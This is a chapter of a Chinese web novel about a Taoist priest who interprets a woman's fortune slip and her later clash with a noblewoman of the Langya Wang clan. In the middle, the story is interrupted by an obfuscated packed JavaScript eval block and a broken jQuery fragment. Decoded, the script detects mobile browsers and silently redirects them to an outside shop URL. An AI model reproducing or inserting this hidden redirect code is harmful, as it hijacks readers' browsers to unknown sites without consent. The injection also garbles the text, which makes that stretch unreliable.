卫扶月解签的本事乃是青阳观观主手把手教出来的,此前亦时常下山替人卜算,从未有过差错,久而久之,便被当地百姓冠以“小神仙”之称。
只见他接过竹签,垂眸细细端详许久,又抬眼看了李颐休几次,方才笃定道:“这是上上签。”
“真的假的?”
小神仙卫扶月闻言,当即又不乐意了,杏眼微瞪:“我替人解签,从未出错过。”
“这签上说你时来运转,否极泰来,往后皆是顺遂之象。”联想到此前江上水匪一事,卫扶月又道,“大抵是从乘船前往建康那一遭便开始的吧。”
李颐休以手支颐,盯着卫扶月看了许久,忽而笑了笑:“非也。”
“什么?”
“若是要算的话,那应当还是从你将我捡回青阳观算起的。原来卫郎是我的转运之人。”
“是、是吗?”
卫扶月怔了一下,心口像被什么轻轻撞了一下。他下意识避开她的目光,耳根却一点点红了起来,随即又恼自己为何会因为一句话便如此失态。
“是啊。”李颐休难得长叹一声,“此前没被你捡回去,我过的可不是人过的日子。”
“若要说什么是谷底,那大抵便是那段时日了。这签文说我时来运转,可我倒觉得,一个人若能熬过人生最低处,那么往后的日子,无论如何走,终归都是往上的。”
“毕竟,再差也不会比当初更差了。”
卫扶月并不能从几句轻描淡写的话语中勾勒出她在草原为俘的光景,他只能反复回想当初在外头捡到李颐休时的模样,试图从那片狼狈中窥见她曾经遭受过的苦楚。
但人与人之间的悲欢并不相通,他只是,也只能低声安慰道:“那你如今重返建康,终于可以过上好日子了,以前的苦,便都过去了。”
似是为了振奋人心,卫扶月又看一眼签文,补充道:“这上头还说你将来官运亨通,甚至有青云直上之兆。”
这话若落在旁人耳中,多半要心头一热,可李颐休听了,却开始怀疑那签筒里的签文是不是全都写得千篇一律的好话,专门用来骗人的。
“你是有庙堂之志么?”
“没有。”李颐休一本正经地摇头,“但我有混吃混喝,终日无所事事的纨绔之志。”
“……”
卫扶月继续解签:“上头还说你日后必定子嗣兴旺,家宅圆满。”
又多看了几眼,不知是不是今日上午讲经太久,竟叫他从这寥寥几字的签文中窥见了几分天机。
家宅圆满,那李颐休终其一生会娶多少个夫郎呢?
他不动声色地将双手藏于案下,掐指细算。
一算之下,竟……
足足超过五位之数。
五个以上啊!
此前一直萦绕于心的船上那混乱一夜纷至沓来,卫扶月心头猛地一跳。他脑海里只剩一个念头:这里头难不成会有他么?
他又悄摸觑一眼李颐休,双手掐指一算。
哎?有些不对?
他掌心破天荒地沁出些冷汗,明明耐热的人此刻竟觉得这房间过于窄小,今日上巳节的日头过于毒辣,身上这身道袍过于厚重,连头上那顶莲花宝冠都压得他脖颈发沉。
他心如死灰地再算一次。
奇了怪了,与方才的结果毫厘不差。
不可能,这绝对不可能!
定是他连日劳累,手指算不准了。要等今夜歇够了,再好好算一遍!
坐于对面的李颐休眼见着卫扶月脸色发白,唇瓣微颤,一副三魂七魄都快散了的模样,不由伸手在他眼前晃了晃。
“卫祭酒,你这是怎么了?是中暑了吗?”
这话讲完,李颐休自个儿都笑了,如今不过三月初三,又不是七八月,哪里来的中暑。
当她手指不过晃了三四回,只见卫扶月猝然攥住她的手指,力气不大,还微微颤抖,眼眶却泛了红。
他嘟着嘴,嗓子里像是压着什么委屈:“你后院都要有五个夫郎了,可不许打我的主意。”
“……”
李颐休颇为无奈,心说她又没打算留在这游戏里,就算签文说她这一生能娶六个七个的,那也娶不着啊。
可瞧着卫扶月那副快要哭出来的可怜小白兔模样,她还是顺着他的话接道:“好好好,坚决不娶你,真的。我哪有这么大能耐把卫祭酒大人娶回家?”
卫扶月幽怨地看她一眼,小声解释道:“一生要奉献在道观修行的祭酒,是不能有婚嫁的。”
“所以,你以后也莫要想着娶我。”
“不想不想,我绝对不想。以前没想过,现在没想过,将来更不会有此念头,卫大祭酒,你这心就好好地放在肚子里吧。”
两人一道从房内出来时,转身一看,恰好撞见等候多时的李允知。
被这签文搅得心事重重的卫扶月,一见李允知,登时如见救星。心底那点委屈顷刻间如潮水般涌上来,圆润的眼眶泛起点点泪光,手一伸,抱住李允知便不管不顾地告状:“允知哥哥,李颐休她欺负我。”
被人当面扣上一顶黑锅的李颐休无言以对。
她对上李允知略带疑惑的目光,无辜地摊开手:“我什么事都没做啊,哥哥,你得信我。”
自知理亏,但依旧气壮的卫扶月扯扯李允知的袖子,“她就是欺负我了,她好坏的,一点都不好。”
李允知用帕子拭去卫扶月眼角的泪,随后走到李颐休身前,佯装板起脸,在她肩背上轻轻拍了好几下,边拍边道:“对对对,都怪颐休,都是颐休害得你。我现在替你锤她几下,替你出了这口恶气。”
李颐休:“……”
心里那点郁气见李颐休被打时便散了几分,卫扶月终于心满意足,连一个眼神都未曾分给李颐休,扶着莲花冠,一溜烟地跑走了。
“卫郎如此可爱,你就莫要欺负他了。”
“哥哥,我可真什么都没做呢。”
“好了,他好歹也算你的小恩人,若不是他将你带上船,我们又怎会相遇?不论如何,在他面前,我自然是要给他几分面子的。”
李允知此番过来,本是想同李颐休一道前往曲水宴,却不料中途家令匆匆寻来,只得暂且离开,让李颐休独自前去。
这一路上姹紫嫣红,李颐休一道走,一道欣赏起这春日里的繁花。看得入迷时,她随手折下一支,正低头摆弄着,岂料行至曲廊转角,不期然撞上一人。
手中花枝猝然撞上那人的胸口,鲜艳的花汁顿时在雪白衣襟上洇开一抹红痕。前方原本欢声笑语的一行人乍停。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773661|209544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一股沉默在李颐休与眼前的贵女郎之间蔓延开来。
“你这人走路都不看前头的吗?你眼睛呢?”有人率先出声斥道。
王玄英懒懒地垂眸瞥了一眼胸口的污迹,眼底一抹戾色一闪而过。今早因欲佩戴的一块玉珏无故碎裂而积下的闷气,正一窝蜂地涌上来。她开口正说着,眼前那人却恰好抬起了头。
有道是忽如一夜春风来,千树万树梨花开。王玄英看着眼前此人的面容,那点火气忽然就散了,连带着积了一早上的郁结都化得干干净净。
原先那句“你撞了人难道不知道要……”便那么戛然而止。
身后的人见王玄英顿住,只当她是要发落人,便跃跃欲试地抢着出头:“就是!你可知你撞的可是琅琊王氏家的女郎?这般莽撞,若把人撞出个好歹来,你担得起么?还不快些赔礼!”
王玄英并不理会,只仍旧盯着眼前这女郎,目光从上往下逡巡了好几遍,最终停在她那张冷淡的薄唇上,听她道:“还真不知是王氏的人,我才刚回建康不久。”
李颐休此人最是不吃压力。她只是抬了抬眉,不卑不亢道:“方才确实是我撞了人,抱歉。”
这般轻描淡写的姿态,自是叫那跟班心头不忿,觉得被拂了面子,继续叫嚷道:“你什么意思,你该不会以为只是一句抱歉就能将此事揭过了吧?”
另有人见李颐休身上并无名贵配饰,虽面容昳丽,但衣着简素,便以为是个寒酸女郎,也插进话来:“你这小白脸眼生得很?怎么以前在建康没见过你?莫不是哪个旮旯里刨出来的落魄人,特地来投奔主家的吧?”
此言一出,除却那位琅琊王氏的女郎,身后那群人登时哄笑起来。
“我说呢,原来是个旁系氏族出身的。”有人拿腔拿调地补了一句,“怪不得呢。”
“什么旁系,倒不如说是个没见过世面的乡下人好啦。哈哈哈哈。”
“你们这些臭外地的来建康又有何用?还是赶紧收拾包袱,滚出建康吧。”
这些个士族出身的女郎们,自小便抱作一团,先问郡望,再辨南北,北来士族与江东本土之间自有分明界线,而即便同出北地,也要再分一分你是主脉还是旁系,层层筛下来,处处都要分出个高下。
但不论是北方,还是江东本土,都以琅琊王氏马首是瞻。
本以为一番嘲笑会令眼前这娘子面露窘色,羞得无地自容,谁曾想李颐休只是轻飘飘扫了众人一眼,淡声道:“不论你出身何地,身后门第又如何,是比旁人多了一双眼睛,还是多了一张嘴?我观你们眼生,那又如何?可见你们也不过是仗着背后有个姓氏,便以为人人都该识得你们。”
“你这人当真是——”那人正要反驳,余光触及王玄英意味不明的神色,话到嘴边又咽了回去,讪讪地住了口。
李颐休淡淡瞥了一眼众人,并不在意,侧身便想走。
谁知眼前那位王氏女郎忽然笑了一声:“妹妹看起来眼生得很,想必是今日头一回见。我近日倒是听闻李家寻回了失散多年的女郎,想来应当便是姓李,名颐休了。不知我说得可对?”
李颐休侧眸看去,“你是?”
王氏女笑意不变,“琅琊王氏,二字玄英。今日头一回见李家妹妹,倒是我的人莽撞了,还望妹妹勿怪。”